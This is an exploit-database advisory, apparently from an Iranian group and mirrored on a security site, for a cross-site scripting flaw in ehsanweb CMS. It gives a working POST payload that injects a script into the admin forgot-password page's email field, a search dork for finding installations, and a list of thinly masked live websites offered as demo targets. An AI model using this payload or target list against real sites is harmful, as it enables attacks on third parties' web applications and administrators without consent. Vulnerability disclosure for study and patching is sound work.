ehsanweb CMS Cross-Site Scripting Vulnerability

2014.08.29
Credit: IeDb
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

################################# # # @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@@@@@ # @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@@@ # @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ # @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ # @@@ @@@@@@@@@@@ @@@ @ @@@@@@@@@@ @@@ @@@@@@ # @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@ # @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@ # @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@ # @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@ @@@ @@@ # ##################################### ##################################### # Iranian Exploit DataBase # ehsanweb CMS Cross-Site Scripting Vulnerability # Vendor site : http://www.ehsanweb.com # Dork : "????? ? ?????? ?????: ????? ??" # Author : IeDb # Site : Www.IeDb.Ir/acc - Www.IrIsT.Ir # Fb Page : https://www.facebook.com/iedb.ir ##################################### Bug : http://www.site.com/admin/forgetpassword.php POST : email="><script>alert(/amir/)</script> Image : http://upload.tehran98.com/upme/uploads/1ed2e1296fe441df1.jpg Dem0 : http://www.ehsXanweb.com/admin/forgetpassword.php?process http://pgshcXo.com/admin/forgetpassword.php?process http://www.sapXno.ir/admin/forgetpassword.php?process http://abzarXmajid.com/admin/forgetpassword.php?process http://www.daXnavc.com/admin/forgetpassword.php?process http://lotusXcard.ir/admin/forgetpassword.php?process http://www.asreXgorgan.ir/admin/forgetpassword.php?process ##################################### # Greats : Bl4ck M4n - ErfanMs - 4ntr4x - N20 - Bl4ck N3T - dr.koderz - Enddo - E1.Coders - Behnam Vanda # E2MA3N - l4tr0d3ctism - H-SK33PY - sole sad - r3d_s0urc3 - Dr_Evil - z3r0 - 0x0ptim0us - 0Day # Security - ARTA - ARYABOD - Mr.Time - C0dex - Det3cT0r - yashar shahinzadeh - Khashayar # tootro20 - AmirMasoud And All Members In IeDb.Ir/acc ##################################### # Archive Exploit = http://www.iedb.ir/exploits-1903.html #####################################

References:

http://www.iedb.ir/exploits-1903.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top